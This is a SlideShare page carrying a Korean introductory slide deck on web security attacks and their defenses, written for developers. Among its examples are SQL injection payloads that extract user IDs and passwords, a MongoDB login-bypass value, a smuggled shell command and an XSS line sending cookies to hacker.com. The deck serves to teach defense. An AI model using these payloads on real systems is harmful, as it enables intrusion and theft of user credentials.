SlideShare a Scribd company logo
1 of 46
Download to read offline
웹 개발을 위해
꼭 알아야하는 보안 공격
2021. 02. 22
이선협
오늘의 목표
웹 보안에 대해 이해하고 기초 공격 기법과 해결 방법을 이해한다.
웹 보안
웹 사이트의 취약점을 공격하는 기술적 위협으로, 웹 페이지를 통하여
권한이 없는 시스템에 접근하거나 데이터 유출 및 파괴와 같은 행위를 말한다.
https://ko.wikipedia.org/wiki/웹_해킹
웹 개발을 위해 꼭 알아야하는 보안 공격
한 순간의 실수로 서비스가 망할 수도 있다! 😨
너무 다양한 공격 기법…
SQL Injection
XSS
CSRF Attack
File Upload Attack
Command Injection
Buffer Overflow
Dictionary Attack
.
.
.
전부는 아니더라도 기초적인 것은
꼭 알아둬야한다
알아야하는 공격 기법
Start
SQL Injection
•서버에서 실행되는 SQL을 악의적으로 이용하는 공격
•기존 SQL에 악의적인 SQL을 삽입한다.
•데이터 탈취, 삭제 등이 가능하다.
•뚫리면 서비스 종료각
SQL Injection - 사례
SQL Injection - 사례
SQL Injection - 방어
•SQL에서 특별한 의미를 가지는 문자를 이스케이프한다.
ex) n, t, |, /, &, #, …...
•준비된 선언을 사용한다.
•요즘은 라이브러리, 프레임워크에서 아주 잘 막아준다.
SQL Injection - 심화
•Error based SQL Injection
•일부러 SQL 에러를 발생시켜 원하는 정보를 취득한다.
•쿼리문 추측, DB명, 테이블명 등의 취득이 가능하다.
SQL Injection - 심화
•Blind SQL Injection
•Query 결과의 참/거짓을 보고 원하는 정보가
존재하는지 알 수 있다. (추론)
•DB, Table 명을 알 수 있다.
•SQLMap
ex) SELECT * FROM users WHERE user_id = '1' and substring(database(),1,2)='us'#
SQL Injection - 심화
•Union SQL Injection
•Union 명령을 이용하여 정보를 취득한다.
ex) SELECT * FROM users WHERE user_id = '1' or 1=1 UNION SELECT '',id,pw from users#
XSS
•Crose-Site Scripting
•웹 페이지에 악성 스크립트를 삽입하는 공격
•사이트 이용자 정보를 탈취할 수 있다.
•뚫리면 많은 것을 잃는다.
XSS - 사례
<script>document.URL='http://hacker.com?'+document.cookie</script>
게시판 이용자가 글을 읽을 때 토큰 탈취!!!
XSS - 방어
•HTML 필터링을 한 후 DB에 저장한다.
ex) <, >, script, html, head, meta, ……
•만약을 위해 프론트엔드에서도 필터링한다.
XSS - 심화
•앞서 소개한 방식은 Stored XSS
•Reflected XSS
•DOM Based XSS
XSS - 심화
•Reflected XSS
•검색어 등을 보여주는 곳에 스크립트를 심는 공격
•URL을 사용자에게 누르게 만들면 공격 성공
https://papago.naver.com/?sk=ko&tk=en&st=<script>…</script>
XSS - 심화
•DOM Based XSS
•DOM에 악의적인 스크립트를 심는 공격
•브라우저가 해석하는 단계에서 발생되는 공격
CSRF Attack
•Cross-Site Request Forgery
•공격자가 사용자를 이용하여 웹 사이트에
요청을 보내는 공격
CSRF Attack - 사례
가짜 진짜
admin
1q2w3e4r
로그인 요청
성공/실패
성공했으면 저장
CSRF Attack - 방어
•Referrer Check
•허용한 도메인만 요청 허락하도록 설정
•CSRF Token
•모든 요청에 토큰을 발급하여 서버에서 검증
•CAPTCHA
•사람이 요청한 것이 맞는지 검증
Command Injection
•애플리케이션에서 사용되는 시스템 명령에 악의적인
명령어를 삽입하는 공격 (WebShell Attack)
•서버 root 권한을 취득할 수 있다.
•뚫리면 서비스 종료각
Command Injection - 사례
Hacker
text.txt; ifconfig
system("cat ${var}")
execute
WebShell
Command Injection - 방어
•가급적 시스템 함수는 사용 X
•민감한 문자를 필터링
ex) |, &, ;, >, <
File Upload Attack
•악성 스크립트 파일을 업로드하는 공격
•업로드 후 파일 위치를 찾아 실행시키면 공격 성공
•뚫리면 서비스 종료각
File Upload Attack - 사례
Upload
1 2
Command WebShell
File Upload Attack - 방어
•확장자 / 파일 타입 검사
•업로드 파일을 난수화하여 저장
•특수 문자가 포함된 경우 업로드 금지
(Null byte Injection 방어)
Javascript Injection
•Client-Side에서 Javascript를 삽입시키는 공격
•크롬 console 등을 통해 조작 가능하다.
•Client-Side에 민감한 데이터를 넣을 경우 탈취 가능
Javascript Injection - 사례
Javascript Injection - 방어
•Client-Side엔 민감한 정보를 절대 넣지 않는다.
•데이터 유효성 검사가 필요한 경우 서버와 통신한다.
(Client에서 검사하면 안된다)
DDoS
•Distributed Denial of Service
•서버에 비정상적으로 많은 트래픽을 보내는 공격
•서비스가 마비되고 많은 비용이 소모된다.
DDoS - 사례
Zombie PC
Traffic
DDoS - 방어
•제일 단순한데 제일 막기 어렵다.
•확장 가능한 서비스 구조 설계
•IP 필터링
•솔루션 구매... …
Dictionary Attack
•미리 사전에 등록해놓은 문자열을 암호로 대입하는 공격
•Brute Force의 일종
Dictionary Attack - 사례
admin
apple

banana

cyber

.

.

.

1q2w3e4r
Dictionary Attack - 방어
•의미가 있는 문자열은 암호로 등록 못하도록 설정
•Account Lockout Policy
•2-factor 인증
Rainbow Table
•해시 함수를 이용한 평문을 모두 저장시켜 놓은 표
•계정 탈취 후 암호 원문을 알아내기 위해 사용
Rainbow Table - 방어
•Salt 사용
•Key Stretching
•PBKDF2, Bcrypt 등의 암호화 알고리즘 사용
MongoDB Injection
•SQL Injection처럼 악의적인 값을 넣어
DB를 조작하는 공격
•뚫리면 서비스 종료각
MongoDB Injection - 사례
db.collection.find({ "email": "kciter@cobalt.run", "password": password })
db.collection.find({ "email": "kciter@cobalt.run", "password": { "$ne": "-" })
password = { "$ne": "-" }
MongoDB Injection - 방어
•영향을 줄 수 있는 문자를 필터링한다.
ex) $, {, }, [, ], (, ), ...
Buffer Overflow
•Buffer Overflow를 통해 다른 메모리에 접근하는 공격
•다른 메모리에 접근 및 제어가 가능하기 때문에 치명적
•시스템 해킹 기법이기도 하다.
•뚫리면 서비스 종료각
웹 개발을 위해 꼭 알아야하는 보안 공격

More Related Content

What's hot

The Integration of Laravel with Swoole
The Integration of Laravel with SwooleThe Integration of Laravel with Swoole
The Integration of Laravel with SwooleAlbert Chen
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourSoroush Dalili
 
Introduction to Spring webflux
Introduction to Spring webfluxIntroduction to Spring webflux
Introduction to Spring webfluxKnoldus Inc.
 
Running Spring Boot Applications as GraalVM Native Images
Running Spring Boot Applications as GraalVM Native ImagesRunning Spring Boot Applications as GraalVM Native Images
Running Spring Boot Applications as GraalVM Native ImagesVMware Tanzu
 
How Sentry can help us with bugs
How Sentry can help us with bugsHow Sentry can help us with bugs
How Sentry can help us with bugsErison Silva
 
Understanding react hooks
Understanding react hooksUnderstanding react hooks
Understanding react hooksMaulik Shah
 
Clean architecture - Protecting the Domain
Clean architecture - Protecting the DomainClean architecture - Protecting the Domain
Clean architecture - Protecting the DomainVictor Rentea
 
Introduction to angular with a simple but complete project
Introduction to angular with a simple but complete projectIntroduction to angular with a simple but complete project
Introduction to angular with a simple but complete projectJadson Santos
 
CNIT 126 5: IDA Pro
CNIT 126 5: IDA ProCNIT 126 5: IDA Pro
CNIT 126 5: IDA ProSam Bowne
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host headerSergey Belov
 
Comparing Native Java REST API Frameworks - Seattle JUG 2022
Comparing Native Java REST API Frameworks - Seattle JUG 2022Comparing Native Java REST API Frameworks - Seattle JUG 2022
Comparing Native Java REST API Frameworks - Seattle JUG 2022Matt Raible
 
Swagger With REST APIs.pptx.pdf
Swagger With REST APIs.pptx.pdfSwagger With REST APIs.pptx.pdf
Swagger With REST APIs.pptx.pdfKnoldus Inc.
 

What's hot (20)

Angular
AngularAngular
Angular
 
The Integration of Laravel with Swoole
The Integration of Laravel with SwooleThe Integration of Laravel with Swoole
The Integration of Laravel with Swoole
 
Single Page Applications
Single Page ApplicationsSingle Page Applications
Single Page Applications
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
 
Spring Webflux
Spring WebfluxSpring Webflux
Spring Webflux
 
Introduction to Spring webflux
Introduction to Spring webfluxIntroduction to Spring webflux
Introduction to Spring webflux
 
Running Spring Boot Applications as GraalVM Native Images
Running Spring Boot Applications as GraalVM Native ImagesRunning Spring Boot Applications as GraalVM Native Images
Running Spring Boot Applications as GraalVM Native Images
 
API Design- Best Practices
API Design-   Best PracticesAPI Design-   Best Practices
API Design- Best Practices
 
How Sentry can help us with bugs
How Sentry can help us with bugsHow Sentry can help us with bugs
How Sentry can help us with bugs
 
Understanding react hooks
Understanding react hooksUnderstanding react hooks
Understanding react hooks
 
Angular
AngularAngular
Angular
 
Clean architecture - Protecting the Domain
Clean architecture - Protecting the DomainClean architecture - Protecting the Domain
Clean architecture - Protecting the Domain
 
Ionic Framework
Ionic FrameworkIonic Framework
Ionic Framework
 
Introduction to angular with a simple but complete project
Introduction to angular with a simple but complete projectIntroduction to angular with a simple but complete project
Introduction to angular with a simple but complete project
 
CNIT 126 5: IDA Pro
CNIT 126 5: IDA ProCNIT 126 5: IDA Pro
CNIT 126 5: IDA Pro
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
 
Comparing Native Java REST API Frameworks - Seattle JUG 2022
Comparing Native Java REST API Frameworks - Seattle JUG 2022Comparing Native Java REST API Frameworks - Seattle JUG 2022
Comparing Native Java REST API Frameworks - Seattle JUG 2022
 
Swagger With REST APIs.pptx.pdf
Swagger With REST APIs.pptx.pdfSwagger With REST APIs.pptx.pdf
Swagger With REST APIs.pptx.pdf
 
Introducción a microservicios
Introducción a microserviciosIntroducción a microservicios
Introducción a microservicios
 
Burp suite
Burp suiteBurp suite
Burp suite
 

Similar to 웹 개발을 위해 꼭 알아야하는 보안 공격

Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterMichael Coates
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)Kishor Kumar
 
Security Vulnerabilities
Security VulnerabilitiesSecurity Vulnerabilities
Security VulnerabilitiesMarius Vorster
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultMohammed ALDOUB
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applicationsNiyas Nazar
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...nooralmousa
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Michael Hendrickx
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101 Stormpath
 
Web application security part 01
Web application security part 01Web application security part 01
Web application security part 01G Prachi
 
XSS (Cross Site Scripting)
XSS (Cross Site Scripting)XSS (Cross Site Scripting)
XSS (Cross Site Scripting)Shubham Gupta
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)OWASP Khartoum
 
Security Basics For Developers Knowledge
Security Basics For Developers KnowledgeSecurity Basics For Developers Knowledge
Security Basics For Developers KnowledgeSiva Sankar
 
Security vulnerabilities - 2018
Security vulnerabilities - 2018Security vulnerabilities - 2018
Security vulnerabilities - 2018Marius Vorster
 
Open source security
Open source securityOpen source security
Open source securitylrigknat
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 

Similar to 웹 개발을 위해 꼭 알아야하는 보안 공격 (20)

Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 
Security Vulnerabilities
Security VulnerabilitiesSecurity Vulnerabilities
Security Vulnerabilities
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101
 
Web application security part 01
Web application security part 01Web application security part 01
Web application security part 01
 
Secure webbrowsing 1
Secure webbrowsing 1Secure webbrowsing 1
Secure webbrowsing 1
 
Codeinjection
CodeinjectionCodeinjection
Codeinjection
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
 
Cross site scripting
Cross site scripting Cross site scripting
Cross site scripting
 
XSS (Cross Site Scripting)
XSS (Cross Site Scripting)XSS (Cross Site Scripting)
XSS (Cross Site Scripting)
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Security Basics For Developers Knowledge
Security Basics For Developers KnowledgeSecurity Basics For Developers Knowledge
Security Basics For Developers Knowledge
 
a
aa
a
 
Security vulnerabilities - 2018
Security vulnerabilities - 2018Security vulnerabilities - 2018
Security vulnerabilities - 2018
 
Open source security
Open source securityOpen source security
Open source security
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 

More from 선협 이

MongoDB 이해하기
MongoDB 이해하기MongoDB 이해하기
MongoDB 이해하기선협 이
 
Deep dive into Vue.js
Deep dive into Vue.jsDeep dive into Vue.js
Deep dive into Vue.js선협 이
 
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막선협 이
 
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017선협 이
 
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2ndVue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd선협 이
 
Reactive Programming With Swift
Reactive Programming With SwiftReactive Programming With Swift
Reactive Programming With Swift선협 이
 
Tour of Vue.js
Tour of Vue.jsTour of Vue.js
Tour of Vue.js선협 이
 
Functional Reactive Programming With RxSwift
Functional Reactive Programming With RxSwiftFunctional Reactive Programming With RxSwift
Functional Reactive Programming With RxSwift선협 이
 
파크히어 Realm 사용 사례
파크히어 Realm 사용 사례파크히어 Realm 사용 사례
파크히어 Realm 사용 사례선협 이
 
왜 Swift를 해야할까요?
왜 Swift를 해야할까요?왜 Swift를 해야할까요?
왜 Swift를 해야할까요?선협 이
 
C++ 코드 품질 관리 비법
C++ 코드 품질 관리 비법C++ 코드 품질 관리 비법
C++ 코드 품질 관리 비법선협 이
 
C++과 Lua script연동
C++과 Lua script연동C++과 Lua script연동
C++과 Lua script연동선협 이
 
MSBuild + Git + Jenkins
MSBuild + Git + JenkinsMSBuild + Git + Jenkins
MSBuild + Git + Jenkins선협 이
 
Post Effect 테스트
Post Effect 테스트Post Effect 테스트
Post Effect 테스트선협 이
 

More from 선협 이 (16)

MongoDB 이해하기
MongoDB 이해하기MongoDB 이해하기
MongoDB 이해하기
 
Deep dive into Vue.js
Deep dive into Vue.jsDeep dive into Vue.js
Deep dive into Vue.js
 
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
 
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
 
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2ndVue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
 
Reactive Programming With Swift
Reactive Programming With SwiftReactive Programming With Swift
Reactive Programming With Swift
 
Tour of Vue.js
Tour of Vue.jsTour of Vue.js
Tour of Vue.js
 
Functional Reactive Programming With RxSwift
Functional Reactive Programming With RxSwiftFunctional Reactive Programming With RxSwift
Functional Reactive Programming With RxSwift
 
파크히어 Realm 사용 사례
파크히어 Realm 사용 사례파크히어 Realm 사용 사례
파크히어 Realm 사용 사례
 
왜 Swift를 해야할까요?
왜 Swift를 해야할까요?왜 Swift를 해야할까요?
왜 Swift를 해야할까요?
 
C++ 코드 품질 관리 비법
C++ 코드 품질 관리 비법C++ 코드 품질 관리 비법
C++ 코드 품질 관리 비법
 
C++과 Lua script연동
C++과 Lua script연동C++과 Lua script연동
C++과 Lua script연동
 
C++11
C++11C++11
C++11
 
MSBuild + Git + Jenkins
MSBuild + Git + JenkinsMSBuild + Git + Jenkins
MSBuild + Git + Jenkins
 
Post Effect 테스트
Post Effect 테스트Post Effect 테스트
Post Effect 테스트
 
C++과 TDD
C++과 TDDC++과 TDD
C++과 TDD
 

Recently uploaded

UiPath Solutions Management Preview - Northern CA Chapter - March 22.pdf
UiPath Solutions Management Preview - Northern CA Chapter - March 22.pdfUiPath Solutions Management Preview - Northern CA Chapter - March 22.pdf
UiPath Solutions Management Preview - Northern CA Chapter - March 22.pdfDianaGray10
 
Things you didn't know you can use in your Salesforce
Things you didn't know you can use in your SalesforceThings you didn't know you can use in your Salesforce
Things you didn't know you can use in your SalesforceMartin Humpolec
 
Meet the new FSP 3000 M-Flex800™
Meet the new FSP 3000 M-Flex800™Meet the new FSP 3000 M-Flex800™
Meet the new FSP 3000 M-Flex800™Adtran
 
Introduction to Quantum Computing
Introduction to Quantum ComputingIntroduction to Quantum Computing
Introduction to Quantum ComputingGDSC PJATK
 
Linked Data in Production: Moving Beyond Ontologies
Linked Data in Production: Moving Beyond OntologiesLinked Data in Production: Moving Beyond Ontologies
Linked Data in Production: Moving Beyond OntologiesDavid Newbury
 
COMPUTER 10 Lesson 8 - Building a Website
COMPUTER 10 Lesson 8 - Building a WebsiteCOMPUTER 10 Lesson 8 - Building a Website
COMPUTER 10 Lesson 8 - Building a Websitedgelyza
 
Do we need a new standard for visualizing the invisible?
Do we need a new standard for visualizing the invisible?Do we need a new standard for visualizing the invisible?
Do we need a new standard for visualizing the invisible?SANGHEE SHIN
 
Using IESVE for Loads, Sizing and Heat Pump Modeling to Achieve Decarbonization
Using IESVE for Loads, Sizing and Heat Pump Modeling to Achieve DecarbonizationUsing IESVE for Loads, Sizing and Heat Pump Modeling to Achieve Decarbonization
Using IESVE for Loads, Sizing and Heat Pump Modeling to Achieve DecarbonizationIES VE
 
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...Will Schroeder
 
Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.YounusS2
 
OpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability AdventureOpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability AdventureEric D. Schabell
 
Empowering Africa's Next Generation: The AI Leadership Blueprint
Empowering Africa's Next Generation: The AI Leadership BlueprintEmpowering Africa's Next Generation: The AI Leadership Blueprint
Empowering Africa's Next Generation: The AI Leadership BlueprintMahmoud Rabie
 
Machine Learning Model Validation (Aijun Zhang 2024).pdf
Machine Learning Model Validation (Aijun Zhang 2024).pdfMachine Learning Model Validation (Aijun Zhang 2024).pdf
Machine Learning Model Validation (Aijun Zhang 2024).pdfAijun Zhang
 
Cybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptxCybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptxGDSC PJATK
 
GenAI and AI GCC State of AI_Object Automation Inc
GenAI and AI GCC State of AI_Object Automation IncGenAI and AI GCC State of AI_Object Automation Inc
GenAI and AI GCC State of AI_Object Automation IncObject Automation
 
Crea il tuo assistente AI con lo Stregatto (open source python framework)
Crea il tuo assistente AI con lo Stregatto (open source python framework)Crea il tuo assistente AI con lo Stregatto (open source python framework)
Crea il tuo assistente AI con lo Stregatto (open source python framework)Commit University
 
UiPath Studio Web workshop series - Day 7
UiPath Studio Web workshop series - Day 7UiPath Studio Web workshop series - Day 7
UiPath Studio Web workshop series - Day 7DianaGray10
 
UiPath Community: AI for UiPath Automation Developers
UiPath Community: AI for UiPath Automation DevelopersUiPath Community: AI for UiPath Automation Developers
UiPath Community: AI for UiPath Automation DevelopersUiPathCommunity
 
Designing A Time bound resource download URL
Designing A Time bound resource download URLDesigning A Time bound resource download URL
Designing A Time bound resource download URLRuncy Oommen
 
UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...
UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...
UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...UbiTrack UK
 

Recently uploaded (20)

UiPath Solutions Management Preview - Northern CA Chapter - March 22.pdf
UiPath Solutions Management Preview - Northern CA Chapter - March 22.pdfUiPath Solutions Management Preview - Northern CA Chapter - March 22.pdf
UiPath Solutions Management Preview - Northern CA Chapter - March 22.pdf
 
Things you didn't know you can use in your Salesforce
Things you didn't know you can use in your SalesforceThings you didn't know you can use in your Salesforce
Things you didn't know you can use in your Salesforce
 
Meet the new FSP 3000 M-Flex800™
Meet the new FSP 3000 M-Flex800™Meet the new FSP 3000 M-Flex800™
Meet the new FSP 3000 M-Flex800™
 
Introduction to Quantum Computing
Introduction to Quantum ComputingIntroduction to Quantum Computing
Introduction to Quantum Computing
 
Linked Data in Production: Moving Beyond Ontologies
Linked Data in Production: Moving Beyond OntologiesLinked Data in Production: Moving Beyond Ontologies
Linked Data in Production: Moving Beyond Ontologies
 
COMPUTER 10 Lesson 8 - Building a Website
COMPUTER 10 Lesson 8 - Building a WebsiteCOMPUTER 10 Lesson 8 - Building a Website
COMPUTER 10 Lesson 8 - Building a Website
 
Do we need a new standard for visualizing the invisible?
Do we need a new standard for visualizing the invisible?Do we need a new standard for visualizing the invisible?
Do we need a new standard for visualizing the invisible?
 
Using IESVE for Loads, Sizing and Heat Pump Modeling to Achieve Decarbonization
Using IESVE for Loads, Sizing and Heat Pump Modeling to Achieve DecarbonizationUsing IESVE for Loads, Sizing and Heat Pump Modeling to Achieve Decarbonization
Using IESVE for Loads, Sizing and Heat Pump Modeling to Achieve Decarbonization
 
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
 
Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.Basic Building Blocks of Internet of Things.
Basic Building Blocks of Internet of Things.
 
OpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability AdventureOpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability Adventure
 
Empowering Africa's Next Generation: The AI Leadership Blueprint
Empowering Africa's Next Generation: The AI Leadership BlueprintEmpowering Africa's Next Generation: The AI Leadership Blueprint
Empowering Africa's Next Generation: The AI Leadership Blueprint
 
Machine Learning Model Validation (Aijun Zhang 2024).pdf
Machine Learning Model Validation (Aijun Zhang 2024).pdfMachine Learning Model Validation (Aijun Zhang 2024).pdf
Machine Learning Model Validation (Aijun Zhang 2024).pdf
 
Cybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptxCybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptx
 
GenAI and AI GCC State of AI_Object Automation Inc
GenAI and AI GCC State of AI_Object Automation IncGenAI and AI GCC State of AI_Object Automation Inc
GenAI and AI GCC State of AI_Object Automation Inc
 
Crea il tuo assistente AI con lo Stregatto (open source python framework)
Crea il tuo assistente AI con lo Stregatto (open source python framework)Crea il tuo assistente AI con lo Stregatto (open source python framework)
Crea il tuo assistente AI con lo Stregatto (open source python framework)
 
UiPath Studio Web workshop series - Day 7
UiPath Studio Web workshop series - Day 7UiPath Studio Web workshop series - Day 7
UiPath Studio Web workshop series - Day 7
 
UiPath Community: AI for UiPath Automation Developers
UiPath Community: AI for UiPath Automation DevelopersUiPath Community: AI for UiPath Automation Developers
UiPath Community: AI for UiPath Automation Developers
 
Designing A Time bound resource download URL
Designing A Time bound resource download URLDesigning A Time bound resource download URL
Designing A Time bound resource download URL
 
UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...
UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...
UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...
 

웹 개발을 위해 꼭 알아야하는 보안 공격

  • 1. 웹 개발을 위해 꼭 알아야하는 보안 공격 2021. 02. 22 이선협
  • 2. 오늘의 목표 웹 보안에 대해 이해하고 기초 공격 기법과 해결 방법을 이해한다.
  • 3. 웹 보안 웹 사이트의 취약점을 공격하는 기술적 위협으로, 웹 페이지를 통하여 권한이 없는 시스템에 접근하거나 데이터 유출 및 파괴와 같은 행위를 말한다. https://ko.wikipedia.org/wiki/웹_해킹
  • 5. 한 순간의 실수로 서비스가 망할 수도 있다! 😨
  • 6. 너무 다양한 공격 기법… SQL Injection XSS CSRF Attack File Upload Attack Command Injection Buffer Overflow Dictionary Attack . . .
  • 7. 전부는 아니더라도 기초적인 것은 꼭 알아둬야한다
  • 9. SQL Injection •서버에서 실행되는 SQL을 악의적으로 이용하는 공격 •기존 SQL에 악의적인 SQL을 삽입한다. •데이터 탈취, 삭제 등이 가능하다. •뚫리면 서비스 종료각
  • 10. SQL Injection - 사례
  • 11. SQL Injection - 사례
  • 12. SQL Injection - 방어 •SQL에서 특별한 의미를 가지는 문자를 이스케이프한다. ex) n, t, |, /, &, #, …... •준비된 선언을 사용한다. •요즘은 라이브러리, 프레임워크에서 아주 잘 막아준다.
  • 13. SQL Injection - 심화 •Error based SQL Injection •일부러 SQL 에러를 발생시켜 원하는 정보를 취득한다. •쿼리문 추측, DB명, 테이블명 등의 취득이 가능하다.
  • 14. SQL Injection - 심화 •Blind SQL Injection •Query 결과의 참/거짓을 보고 원하는 정보가 존재하는지 알 수 있다. (추론) •DB, Table 명을 알 수 있다. •SQLMap ex) SELECT * FROM users WHERE user_id = '1' and substring(database(),1,2)='us'#
  • 15. SQL Injection - 심화 •Union SQL Injection •Union 명령을 이용하여 정보를 취득한다. ex) SELECT * FROM users WHERE user_id = '1' or 1=1 UNION SELECT '',id,pw from users#
  • 16. XSS •Crose-Site Scripting •웹 페이지에 악성 스크립트를 삽입하는 공격 •사이트 이용자 정보를 탈취할 수 있다. •뚫리면 많은 것을 잃는다.
  • 18. XSS - 방어 •HTML 필터링을 한 후 DB에 저장한다. ex) <, >, script, html, head, meta, …… •만약을 위해 프론트엔드에서도 필터링한다.
  • 19. XSS - 심화 •앞서 소개한 방식은 Stored XSS •Reflected XSS •DOM Based XSS
  • 20. XSS - 심화 •Reflected XSS •검색어 등을 보여주는 곳에 스크립트를 심는 공격 •URL을 사용자에게 누르게 만들면 공격 성공 https://papago.naver.com/?sk=ko&tk=en&st=<script>…</script>
  • 21. XSS - 심화 •DOM Based XSS •DOM에 악의적인 스크립트를 심는 공격 •브라우저가 해석하는 단계에서 발생되는 공격
